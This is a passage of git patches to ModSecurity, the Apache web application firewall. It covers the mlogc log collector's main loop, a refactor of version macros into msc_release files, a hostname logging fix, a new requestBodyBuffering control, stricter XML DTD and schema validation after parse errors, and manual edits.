to read, emptying buffer: %s", apr_strerror(rc, errstr, 1024)); + } + done = 1; + } + else { + have_read_data = 1; + if (error_log_level == LOG_DEBUG) { + error_log(LOG_DEBUG, NULL, "Read %" APR_SIZE_T_FMT " bytes from pipe", nbytes); + } + else { + error_log(LOG_DEBUG2, NULL, "Read %" APR_SIZE_T_FMT " bytes from pipe: `%s'", nbytes, _log_escape((buf + next), nbytes)); + } + } + + next += nbytes; + } + + /** + * Each chunk of data we receive can contain one or more lines for + * which we need to find the EOL marker and then queue the event + * up to that. So, find/queue as many lines in the buffer as we + * can. Any remaining data will get shifted back to the beginning + * of the buffer and the buffer size for the next read adjusted. + */ + while(curr < next) { + /* Look for EOL so we can parse the event */ + while((curr < next) && (buf[curr] != 0x0a)) { + curr++; + } + if (buf[curr] == 0x0a) { + buf[curr] = '\0'; + + /* We may have to drop this one if it previously failed */ + if (drop_next) { + error_log(LOG_ERROR, NULL, "Dropping remaining portion of failed event: `%s'", _log_escape((buf + evnt), (curr - evnt))); + drop_next = 0; + } + else { + transaction_log(IN, buf + evnt); + error_log(LOG_DEBUG2, NULL, "Received audit log entry (count %lu queue %d workers %d): %s", + entry_counter, queue->nelts, current_workers, _log_escape((buf + evnt), strlen(buf + evnt))); + add_entry(buf + evnt, 1); + buffered_events++; + } + + /* Advance indexes to next event in buf */ + evnt = curr = curr + 1; + } + else { + error_log(LOG_DEBUG2, NULL, "Event buffer contains partial event: `%s'", _log_escape((buf + evnt), (next - evnt))); + break; + } + } + + + if (buffered_events > 0) { + error_log(LOG_DEBUG, NULL, "Processed %d entries from buffer.", buffered_events); + + /* Move the unused portion of the buffer to the beginning */ + next -= evnt; + curr -= evnt; + memmove(buf, (buf + evnt), next); + + error_log(LOG_DEBUG2, NULL, "Shifted buffer back %" APR_SIZE_T_FMT " and offset %" APR_SIZE_T_FMT " bytes for next read: `%s'", evnt, next, _log_escape(buf, next)); + + evnt = 0; + } + else if (next == PIPE_BUF_SIZE) { + /** + * There is a chance we could fill the buffer, but not have finished + * reading the event (no EOL yet), so we need to say so and drop + * all data until we find the end of the event that is too large. + */ + + if (drop_next) { + error_log(LOG_ERROR, NULL, "Event continuation too large, dropping it as well: `%s'", _log_escape(buf, PIPE_BUF_SIZE)); + } + else { + error_log(LOG_ERROR, NULL, "Event too large, dropping event: `%s'", _log_escape(buf, PIPE_BUF_SIZE)); + } + + /* Rewind buf and mark that we need to drop up to the next event */ + evnt = curr = next = 0; + drop_next = 1; + } + + nbytes = PIPE_BUF_SIZE - next; + } + + /* Wait for queue to empty if specified */ + if ((server_error == 0) && (opt_force != 0) && (queue->nelts > 0)) { + error_log(LOG_NOTICE, NULL, "Waiting for queue to empty (%d active).", queue->nelts); + while ((server_error == 0) && (opt_force != 0) && (queue->nelts > 0)) { + apr_sleep(10 * 1000); + } + if (queue->nelts > 0) { + error_log(LOG_ERROR, NULL, "Could not empty queue (%d active).", queue->nelts); + } + } +} + + +/** + * Creates the management thread. + */ +static void start_management_thread() +{ + apr_thread_t *thread = NULL; + apr_threadattr_t *thread_attrs; + apr_status_t rc; + + apr_threadattr_create(&thread_attrs, pool); + apr_threadattr_detach_set(thread_attrs, 1); + apr_threadattr_stacksize_set(thread_attrs, 1024); + + management_thread_active = 1; + + rc = apr_thread_create(&thread, thread_attrs, thread_manager, NULL, pool); + if (rc != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Failed to create new management thread: %d", rc); + management_thread_active = 0; + logc_shutdown(1); + } +} + +/** + * Creates a thread to handle all signals + */ +static void start_signal_thread() +{ + apr_thread_t *thread = NULL; + apr_threadattr_t *thread_attrs; + apr_status_t rc; + + apr_threadattr_create(&thread_attrs, pool); + apr_threadattr_detach_set(thread_attrs, 1); + apr_threadattr_stacksize_set(thread_attrs, 1024); + + rc = apr_thread_create(&thread, thread_attrs, thread_signals, NULL, pool); + if (rc != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Failed to create new signal thread: %d", rc); + logc_shutdown(1); + } +} + +/** + * Usage text. + */ +static void usage() { + fprintf(stderr, "ModSecurity Log Collector v%s\n", VERSION); + fprintf(stderr, " Usage: mlogc [options] /path/to/the/configuration.file\n"); + fprintf(stderr, "\n"); + fprintf(stderr, " Options:\n"); + fprintf(stderr, " -f Force depletion of queue on exit\n"); + fprintf(stderr, " -h This help\n\n"); +} + + +/** + * This is the main entry point. + */ +int main(int argc, const char * const argv[]) { + apr_getopt_t *opt; + apr_status_t rc; + + apr_app_initialize(&argc, &argv, NULL); + atexit(apr_terminate); + + logc_pid = getpid(); + apr_pool_create(&pool, NULL); + apr_setup_signal_thread(); + + if (argc < 2) { + usage(); + logc_shutdown(1); + } + + /* Commandline opts */ + rc = apr_getopt_init(&opt, pool, argc, argv); + if (rc != APR_SUCCESS) { + usage(); + logc_shutdown(1); + } + + do { + char ch; + const char *val; + rc = apr_getopt(opt, CMDLINE_OPTS, &ch, &val); + switch (rc) { + case APR_SUCCESS: + switch (ch) { + case 'f': + opt_force = 1; + break; + case 'h': + usage(); + logc_shutdown(0); + } + break; + case APR_BADCH: + case APR_BADARG: + usage(); + logc_shutdown(1); + } + } while (rc != APR_EOF); + + /* Conf file is last */ + conffile = argv[argc - 1]; + + read_configuration(); + init_configuration(); + + logc_init(); + transaction_log_init(); + + running = 1; + server_error = 0; + + start_management_thread(); + start_signal_thread(); + + /* Process stdin until EOF */ + receive_loop(); + + logc_shutdown(0); + + return 0; +} diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index 3991c072..cb2f2ac5 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -25,6 +25,7 @@ #include "apache2.h" #include "http_main.h" #include "pdf_protect.h" + #include "msc_logging.h" #include "msc_util.h" @@ -520,7 +521,7 @@ static int hook_post_config(apr_pool_t *mp, apr_pool_t *mp_log, apr_pool_t *mp_t /* Log our presence to the error log. */ if (first_time) { ap_log_error(APLOG_MARK, APLOG_NOTICE | APLOG_NOERRNO, 0, s, - "%s configured.", MODULE_NAME_FULL); + "%s configured.", MODSEC_MODULE_NAME_FULL); /* If we've changed the server signature make note of the original. */ if (new_server_signature != NULL) { diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index fd8236ea..071ccd23 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -25,15 +25,6 @@ #include "msc_util.h" #include "msc_xml.h" -modsec_build_type_rec DSOLOCAL modsec_build_type[] = { - { "-dev", 1 }, /* Development build */ - { "-rc", 3 }, /* Release Candidate build */ - { "", 9 }, /* Production build */ - { "-breach", 9 }, /* Breach build */ - { "-trunk", 9 }, /* Trunk build */ - { NULL, -1 } /* terminator */ -}; - /** * Log an alert message to the log, adding the rule metadata at the end. */ diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 5d840df6..a745db69 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -32,23 +32,7 @@ typedef struct msc_data_chunk msc_data_chunk; typedef struct msc_arg msc_arg; typedef struct msc_string msc_string; -#if !(defined(WIN32) || defined(CYGWIN) || defined(NETWARE) || defined(SOLARIS2)) -#define DSOLOCAL __attribute__((visibility("hidden"))) -#else -#define DSOLOCAL -#endif - -#if defined(DEBUG_MEM) -/* Nothing Yet */ -#endif - -/* For GNU C, tell the compiler to check printf like formatters */ -#if (defined(__GNUC__) && !defined(SOLARIS2)) -#define PRINTF_ATTRIBUTE(a,b) __attribute__((format (printf, a, b))) -#else -#define PRINTF_ATTRIBUTE(a,b) -#endif - +#include "msc_release.h" #include "msc_logging.h" #include "msc_multipart.h" #include "msc_pcre.h" @@ -66,27 +50,6 @@ typedef struct msc_string msc_string; #include "http_log.h" #include "http_protocol.h" -typedef struct modsec_build_type_rec { - const char * name; - int val; -} modsec_build_type_rec; -extern DSOLOCAL modsec_build_type_rec modsec_build_type[]; - -#define MODSEC_VERSION_MAJOR "2" -#define MODSEC_VERSION_MINOR "6" -#define MODSEC_VERSION_MAINT "0" -#define MODSEC_VERSION_TYPE "-trunk" -#define MODSEC_VERSION_RELEASE "" - -#define MODULE_NAME "ModSecurity for Apache" - -#define MODSEC_VERSION_SUFFIX MODSEC_VERSION_TYPE MODSEC_VERSION_RELEASE -#define MODULE_RELEASE \ - MODSEC_VERSION_MAJOR "." MODSEC_VERSION_MINOR "." MODSEC_VERSION_MAINT \ - MODSEC_VERSION_SUFFIX - -#define MODULE_NAME_FULL MODULE_NAME "/" MODULE_RELEASE " (http://www.modsecurity.org/)" - #define PHASE_REQUEST_HEADERS 1 #define PHASE_REQUEST_BODY 2 #define PHASE_RESPONSE_HEADERS 3 diff --git a/apache2/msc_logging.c b/apache2/msc_logging.c index 68435870..eb6ee5fa 100644 --- a/apache2/msc_logging.c +++ b/apache2/msc_logging.c @@ -343,14 +343,14 @@ static void sec_auditlog_write_producer_header(modsec_rec *msr) { /* Try to write everything in one go. */ if (msr->txcfg->component_signatures->nelts == 0) { - text = apr_psprintf(msr->mp, "Producer: %s.\n", MODULE_NAME_FULL); + text = apr_psprintf(msr->mp, "Producer: %s.\n", MODSEC_MODULE_NAME_FULL); sec_auditlog_write(msr, text, strlen(text)); return; } /* Start with the ModSecurity signature. */ - text = apr_psprintf(msr->mp, "Producer: %s", MODULE_NAME_FULL); + text = apr_psprintf(msr->mp, "Producer: %s", MODSEC_MODULE_NAME_FULL); sec_auditlog_write(msr, text, strlen(text)); diff --git a/apache2/msc_release.c b/apache2/msc_release.c new file mode 100644 index 00000000..462131e3 --- /dev/null +++ b/apache2/msc_release.c @@ -0,0 +1,42 @@ +/* + * ModSecurity for Apache 2.x, http://www.modsecurity.org/ + * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) + * + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. + * + */ + +#include "msc_release.h" + +modsec_build_type_rec modsec_build_type[] = { + { "-dev", 1 }, /* Development build */ + { "-rc", 3 }, /* Release Candidate build */ + { "", 9 }, /* Production build */ + { "-breach", 9 }, /* Breach build */ + { "-trunk", 9 }, /* Trunk build */ + { NULL, -1 } /* terminator */ +}; + +int get_modsec_build_type(const char *name) +{ + int i; + + for (i = 0; modsec_build_type[i].name != NULL; i++) { + if (strcmp(((name == NULL) ? MODSEC_VERSION_TYPE : name), modsec_build_type[i].name) == 0) { + return modsec_build_type[i].val; + } + } + + return 9; /* so no warning */ +} diff --git a/apache2/msc_release.h b/apache2/msc_release.h new file mode 100644 index 00000000..284ec954 --- /dev/null +++ b/apache2/msc_release.h @@ -0,0 +1,67 @@ +/* + * ModSecurity for Apache 2.x, http://www.modsecurity.org/ + * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) + * + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. + * + */ +#ifndef _MSC_RELEASE_H_ +#define _MSC_RELEASE_H_ + +#include +#include + +#if !(defined(WIN32) || defined(CYGWIN) || defined(NETWARE) || defined(SOLARIS2)) +#define DSOLOCAL __attribute__((visibility("hidden"))) +#else +#define DSOLOCAL +#endif + +#if defined(DEBUG_MEM) +/* Nothing Yet */ +#endif + +/* For GNU C, tell the compiler to check printf like formatters */ +#if (defined(__GNUC__) && !defined(SOLARIS2)) +#define PRINTF_ATTRIBUTE(a,b) __attribute__((format (printf, a, b))) +#else +#define PRINTF_ATTRIBUTE(a,b) +#endif + +typedef struct modsec_build_type_rec { + const char * name; + int val; +} modsec_build_type_rec; +extern DSOLOCAL modsec_build_type_rec modsec_build_type[]; + +#define MODSEC_VERSION_MAJOR "2" +#define MODSEC_VERSION_MINOR "6" +#define MODSEC_VERSION_MAINT "0" +#define MODSEC_VERSION_TYPE "-trunk" +#define MODSEC_VERSION_RELEASE "" + +#define MODSEC_VERSION_SUFFIX MODSEC_VERSION_TYPE MODSEC_VERSION_RELEASE + +#define MODSEC_VERSION \ + MODSEC_VERSION_MAJOR "." MODSEC_VERSION_MINOR "." MODSEC_VERSION_MAINT \ + MODSEC_VERSION_SUFFIX + +/* Apache Module Defines */ +#define MODSEC_MODULE_NAME "ModSecurity for Apache" +#define MODSEC_MODULE_VERSION MODSEC_VERSION +#define MODSEC_MODULE_NAME_FULL MODSEC_MODULE_NAME "/" MODSEC_MODULE_VERSION " (http://www.modsecurity.org/)" + +int DSOLOCAL get_modsec_build_type(const char *name); + +#endif /* _MSC_RELEASE_H_ */ diff --git a/apache2/msc_test.c b/apache2/msc_test.c index 02866025..e526d650 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -533,7 +533,7 @@ static void init_msr() { * Usage text. */ static void usage() { - fprintf(stderr, "ModSecurity Unit Tester v%s\n", MODULE_RELEASE); + fprintf(stderr, "ModSecurity Unit Tester v%s\n", MODSEC_VERSION); fprintf(stderr, " Usage: msc_test [options]\n"); fprintf(stderr, "\n"); fprintf(stderr, " Options:\n"); diff --git a/apache2/msc_util.c b/apache2/msc_util.c index 3bb754a3..4816c4d7 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -16,6 +16,7 @@ * directly using the email address support@breach.com. * */ +#include "msc_release.h" #include "msc_util.h" #include @@ -1169,21 +1170,11 @@ int normalise_path_inplace(unsigned char *input, int input_len, int win, int *ch } char *modsec_build(apr_pool_t *mp) { - int build_type = 0; - int i; - - for (i = 0; modsec_build_type[i].name != NULL; i++) { - if (strcmp(MODSEC_VERSION_TYPE, modsec_build_type[i].name) == 0) { - build_type = modsec_build_type[i].val; - break; - } - } - return apr_psprintf(mp, "%02i%02i%02i%1i%02i", atoi(MODSEC_VERSION_MAJOR), atoi(MODSEC_VERSION_MINOR), atoi(MODSEC_VERSION_MAINT), - build_type, + get_modsec_build_type(NULL), atoi(MODSEC_VERSION_RELEASE)); } From deb6a816b4551131691c7de6a87f0d53c822d43c Mon Sep 17 00:00:00 2001 From: brectanus Date: Tue, 2 Sep 2008 23:43:15 +0000 Subject: [PATCH 084/110] Fixed MODSEC-2 by using the msr->hostname (ap_get_server_name(r)) vs r->hostname in the log. --- apache2/apache2_util.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index bc3a5e89..569bf201 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -286,7 +286,7 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, /* Send message levels 1-3 to the Apache error log too. */ if (level <= 3) { char *unique_id = (char *)get_env_var(r, "UNIQUE_ID"); - char *hostname = (char *)r->hostname; + char *hostname = (char *)msr->hostname; if (unique_id != NULL) { unique_id = apr_psprintf(msr->mp, " [unique_id \"%s\"]", From 139d651bbf6cea214567a0c727fb0b53a5398d27 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 3 Sep 2008 18:06:14 +0000 Subject: [PATCH 085/110] Updated the CHANGES. --- CHANGES | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGES b/CHANGES index 6cfe4f01..9abf19e3 100644 --- a/CHANGES +++ b/CHANGES @@ -1,8 +1,11 @@ -02 Sep 2008 - trunk +03 Sep 2008 - trunk ------------------- * Integrate mlogc source. + * Fixed logging the hostname in the error_log which was logging the + request hostname instead of the Apache resolved hostname. + * Allow for disabling request body limit checks in phase:1. * Added transformations for processing parity for legacy protocols ported From 34798e9abe548b885f9f71c18b515c3060c5f33e Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 3 Sep 2008 20:42:28 +0000 Subject: [PATCH 086/110] Allow ability to force request body buffering to memory. Fixes MODSEC-2. --- CHANGES | 8 +++++++- apache2/apache2_config.c | 4 ++++ apache2/modsecurity.c | 6 ++++++ apache2/modsecurity.h | 1 + apache2/msc_reqbody.c | 24 +++++++++++++++++++++++- apache2/msc_test.c | 1 + apache2/re_actions.c | 17 +++++++++++++++++ doc/modsecurity2-apache-reference.xml | 11 ++++++++++- 8 files changed, 69 insertions(+), 3 deletions(-) diff --git a/CHANGES b/CHANGES index 9abf19e3..3458b75b 100644 --- a/CHANGES +++ b/CHANGES @@ -1,7 +1,13 @@ 03 Sep 2008 - trunk ------------------- - * Integrate mlogc source. + * Added ctl:requestBodyBuffering=on|off which, when enabled, will force + the request body to be buffered and allow REQUEST_BODY to be inspected. + Previously the REQUEST_BODY target was only populated if the request body + was a parsable type (application/x-www-form-urlencoded or + multipart/form-data) or was forced to be parsed via ctl:requestBodyProcessor. + + * Integrated mlogc source. * Fixed logging the hostname in the error_log which was logging the request hostname instead of the Apache resolved hostname. diff --git a/apache2/apache2_config.c b/apache2/apache2_config.c index 7e54f409..e404dbff 100644 --- a/apache2/apache2_config.c +++ b/apache2/apache2_config.c @@ -45,6 +45,7 @@ void *create_directory_config(apr_pool_t *mp, char *path) { dcfg->is_enabled = NOT_SET; dcfg->reqbody_access = NOT_SET; + dcfg->reqbody_buffering = NOT_SET; dcfg->reqbody_inmemory_limit = NOT_SET; dcfg->reqbody_limit = NOT_SET; dcfg->reqbody_no_files_limit = NOT_SET; @@ -236,6 +237,8 @@ void *merge_directory_configs(apr_pool_t *mp, void *_parent, void *_child) { /* IO parameters */ merged->reqbody_access = (child->reqbody_access == NOT_SET ? parent->reqbody_access : child->reqbody_access); + merged->reqbody_buffering = (child->reqbody_buffering == NOT_SET + ? parent->reqbody_buffering : child->reqbody_buffering); merged->reqbody_inmemory_limit = (child->reqbody_inmemory_limit == NOT_SET ? parent->reqbody_inmemory_limit : child->reqbody_inmemory_limit); merged->reqbody_limit = (child->reqbody_limit == NOT_SET @@ -480,6 +483,7 @@ void init_directory_config(directory_config *dcfg) { if (dcfg->is_enabled == NOT_SET) dcfg->is_enabled = 0; if (dcfg->reqbody_access == NOT_SET) dcfg->reqbody_access = 0; + if (dcfg->reqbody_buffering == NOT_SET) dcfg->reqbody_buffering = 0; if (dcfg->reqbody_inmemory_limit == NOT_SET) dcfg->reqbody_inmemory_limit = REQUEST_BODY_DEFAULT_INMEMORY_LIMIT; if (dcfg->reqbody_limit == NOT_SET) dcfg->reqbody_limit = REQUEST_BODY_DEFAULT_LIMIT; diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index 071ccd23..fa8f9378 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -259,6 +259,12 @@ apr_status_t modsecurity_tx_init(modsec_rec *msr) { } } + /* Check if we are forcing buffering, then use memory only. */ + if (msr->txcfg->reqbody_buffering) { + msr->msc_reqbody_storage = MSC_REQBODY_MEMORY; + msr->msc_reqbody_spilltodisk = 0; + } + /* Initialise arguments */ msr->arguments = apr_table_make(msr->mp, 32); if (msr->arguments == NULL) return -1; diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index a745db69..7cfdd5ea 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -362,6 +362,7 @@ struct directory_config { int is_enabled; int reqbody_access; + int reqbody_buffering; long int reqbody_inmemory_limit; long int reqbody_limit; long int reqbody_no_files_limit; diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index 26aed3a3..97449c2e 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -309,6 +309,9 @@ apr_status_t modsecurity_request_body_store(modsec_rec *msr, msr->msc_reqbody_processor); return -1; } + } else if (msr->txcfg->reqbody_buffering) { + /* Increase per-request data length counter if forcing buffering. */ + msr->msc_reqbody_no_files_length += length; } /* Check that we are not over the request body no files limit. */ @@ -334,7 +337,7 @@ apr_status_t modsecurity_request_body_store(modsec_rec *msr, /** * */ -static apr_status_t modsecurity_request_body_end_urlencoded(modsec_rec *msr, char **error_msg) { +static apr_status_t modsecurity_request_body_end_raw(modsec_rec *msr, char **error_msg) { msc_data_chunk **chunks, *one_chunk; char *d; int i, sofar; @@ -394,6 +397,22 @@ static apr_status_t modsecurity_request_body_end_urlencoded(modsec_rec *msr, cha one_chunk->is_permanent = 1; *(const msc_data_chunk **)apr_array_push(msr->msc_reqbody_chunks) = one_chunk; + return 1; +} + +/** + * + */ +static apr_status_t modsecurity_request_body_end_urlencoded(modsec_rec *msr, char **error_msg) { + int invalid_count = 0; + + *error_msg = NULL; + + /* Create the raw buffer */ + if (modsecurity_request_body_end_raw(msr, error_msg) != 1) { + return -1; + } + /* Parse URL-encoded arguments in the request body. */ if (parse_arguments(msr, msr->msc_reqbody_buffer, msr->msc_reqbody_length, @@ -458,6 +477,9 @@ apr_status_t modsecurity_request_body_end(modsec_rec *msr, char **error_msg) { return -1; } } + } else if (msr->txcfg->reqbody_buffering) { + /* No processing if there is no processor and forcing buffering. */ + return modsecurity_request_body_end_raw(msr, error_msg); } /* Note the request body no files length. */ diff --git a/apache2/msc_test.c b/apache2/msc_test.c index e526d650..947fc6d4 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -458,6 +458,7 @@ static void init_msr() { dcfg = (directory_config *)apr_pcalloc(g_mp, sizeof(directory_config)); dcfg->is_enabled = 0; dcfg->reqbody_access = 0; + dcfg->reqbody_buffering = 0; dcfg->reqbody_inmemory_limit = REQUEST_BODY_DEFAULT_INMEMORY_LIMIT; dcfg->reqbody_limit = REQUEST_BODY_DEFAULT_LIMIT; dcfg->reqbody_no_files_limit = REQUEST_BODY_NO_FILES_DEFAULT_LIMIT; diff --git a/apache2/re_actions.c b/apache2/re_actions.c index d753e50c..c791d2e5 100644 --- a/apache2/re_actions.c +++ b/apache2/re_actions.c @@ -713,6 +713,13 @@ static char *msre_action_ctl_validate(msre_engine *engine, msre_action *action) */ return NULL; } else + if (strcasecmp(name, "requestBodyBuffering") == 0) { + if (parse_boolean(value) == -1) { + return apr_psprintf(engine->mp, "Invalid setting for ctl name " + " requestBodyBuffering: %s", value); + } + return NULL; + } else if (strcasecmp(name, "responseBodyAccess") == 0) { if (parse_boolean(value) == -1) { return apr_psprintf(engine->mp, "Invalid setting for ctl name " @@ -831,6 +838,16 @@ static apr_status_t msre_action_ctl_execute(modsec_rec *msr, apr_pool_t *mptmp, return 1; } else + if (strcasecmp(name, "requestBodyBuffering") == 0) { + int pv = parse_boolean(value); + + if (pv == -1) return -1; + msr->txcfg->reqbody_buffering = pv; + msr->usercfg->reqbody_buffering = pv; + msr_log(msr, 4, "Ctl: Set requestBodyAccess to %d.", pv); + + return 1; + } else if (strcasecmp(name, "requestBodyProcessor") == 0) { msr->msc_reqbody_processor = value; msr_log(msr, 4, "Ctl: Set requestBodyProcessor to %s.", value); diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 2c242802..dea4eb40 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4406,6 +4406,10 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce requestBodyAccess + + requestBodyBuffering + + requestBodyLimit @@ -4428,7 +4432,8 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce With the exception of - requestBodyProcessor, each configuration option corresponds to + requestBodyProcessor and + requestBodyBuffering, each configuration option corresponds to one configuration directive and the usage is identical. The requestBodyProcessor option allows you to configure the @@ -4450,6 +4455,10 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce should be inspected in the REQUEST_BODY phase and an appropriate action taken. + + The requestBodyBuffering option allows you to configure the + request body to be buffered (in memory) even if it is not parsed. This + allows inspection of REQUEST_BODY even when no parser is used.
From f5af5ef42901300b53e596c73cdf402831f1d561 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 3 Sep 2008 21:20:06 +0000 Subject: [PATCH 087/110] Remove declaration of an unused variable. --- apache2/msc_reqbody.c | 1 - 1 file changed, 1 deletion(-) diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index 97449c2e..31a921f0 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -341,7 +341,6 @@ static apr_status_t modsecurity_request_body_end_raw(modsec_rec *msr, char **err msc_data_chunk **chunks, *one_chunk; char *d; int i, sofar; - int invalid_count = 0; *error_msg = NULL; From f20059b009f5d1f9536fc4cab1c975090d8cbac1 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 3 Sep 2008 22:16:42 +0000 Subject: [PATCH 088/110] Make sure we fail to validate DTD/schema after a parsing error. Fixes MODSEC-5. --- CHANGES | 3 +++ apache2/re_operators.c | 12 ++++++++++++ apache2/t/regression/rule/10-xml.t | 12 ++++++------ 3 files changed, 21 insertions(+), 6 deletions(-) diff --git a/CHANGES b/CHANGES index 3458b75b..1bfa104b 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ 03 Sep 2008 - trunk ------------------- + * Fixed XML DTD/Schema validation which will now fail after request body + processing errors, even if the XML parser returns a document tree. + * Added ctl:requestBodyBuffering=on|off which, when enabled, will force the request body to be buffered and allow REQUEST_BODY to be inspected. Previously the REQUEST_BODY target was only populated if the request body diff --git a/apache2/re_operators.c b/apache2/re_operators.c index a7a8eebc..1545902c 100644 --- a/apache2/re_operators.c +++ b/apache2/re_operators.c @@ -872,6 +872,12 @@ static int msre_op_validateDTD_execute(modsec_rec *msr, msre_rule *rule, msre_va xmlValidCtxtPtr cvp; xmlDtdPtr dtd; + if (msr->msc_reqbody_error) { + *error_msg = apr_psprintf(msr->mp, "XML: DTD validation could not proceed" + " due to previous processing errors."); + return 1; + } + if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { *error_msg = apr_psprintf(msr->mp, "XML document tree could not be found for " "DTD validation."); @@ -928,6 +934,12 @@ static int msre_op_validateSchema_execute(modsec_rec *msr, msre_rule *rule, msre xmlSchemaPtr schema; int rc; + if (msr->msc_reqbody_error) { + *error_msg = apr_psprintf(msr->mp, "XML: Schema validation could not proceed" + " due to previous processing errors."); + return 1; + } + if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { *error_msg = apr_psprintf(msr->mp, "XML document tree could not be found for " "Schema validation."); diff --git a/apache2/t/regression/rule/10-xml.t b/apache2/t/regression/rule/10-xml.t index 9861457f..21eff807 100644 --- a/apache2/t/regression/rule/10-xml.t +++ b/apache2/t/regression/rule/10-xml.t @@ -111,9 +111,9 @@ "phase:2,deny,id:12345" ), match_log => { - debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error/s, 1 ], - -debug => [ qr/Failed to load/, 1 ], - -error => [ qr/Failed to load/, 1 ], + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation could not proceed due to previous processing errors/s, 1 ], + -debug => [ qr/Failed to load|Successfully validated/, 1 ], + -error => [ qr/Failed to load|Successfully validated/, 1 ], }, match_response => { status => qr/^403$/, @@ -291,9 +291,9 @@ "phase:2,deny,id:12345" ), match_log => { - debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error/s, 1 ], - -debug => [ qr/Failed to load/, 1 ], - -error => [ qr/Failed to load/, 1 ], + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation could not proceed due to previous processing errors/s, 1 ], + -debug => [ qr/Failed to load|Successfully validated/, 1 ], + -error => [ qr/Failed to load|Successfully validated/, 1 ], }, match_response => { status => qr/^403$/, From ac767de86e37a1d36cdf3b3921d5f581871ae0b3 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 5 Sep 2008 15:29:25 +0000 Subject: [PATCH 089/110] Typo in SecRuleUpdateActionById example. --- doc/modsecurity2-apache-reference.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index dea4eb40..cec8b2e5 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -6,7 +6,7 @@ Manual - Version 2.6.0-trunk (August 27, 2008) + Version 2.6.0-trunk (September 5, 2008) 2004-2008 @@ -2232,7 +2232,7 @@ end specified rule. Syntax: SecRuleRemoveById RULEID ACTIONLIST + moreinfo="none">SecRuleUpdateActionById RULEID ACTIONLIST Example Usage: SecRuleUpdateActionById 12345 From ec49ce05c7d3c853dec070c57a0deb8f0ba7c20d Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 5 Sep 2008 16:18:00 +0000 Subject: [PATCH 090/110] Updated docs to point out some features are not available on all OSes. MODSEC-9 --- doc/modsecurity2-apache-reference.xml | 33 +++++++++++++++------------ 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index cec8b2e5..f570119b 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -951,11 +951,12 @@ SecAuditLogStorageDir logs/audit Version: 2.0.0 - Dependencies/Notes: The internal chroot - functionality provided by ModSecurity works great for simple setups. One - example of a simple setup is Apache serving static files only, or - running scripts using modules. Some problems you might encounter with - more complex setups: + Dependencies/Notes: This feature is not + available on Windows builds. The internal chroot functionality provided + by ModSecurity works great for simple setups. One example of 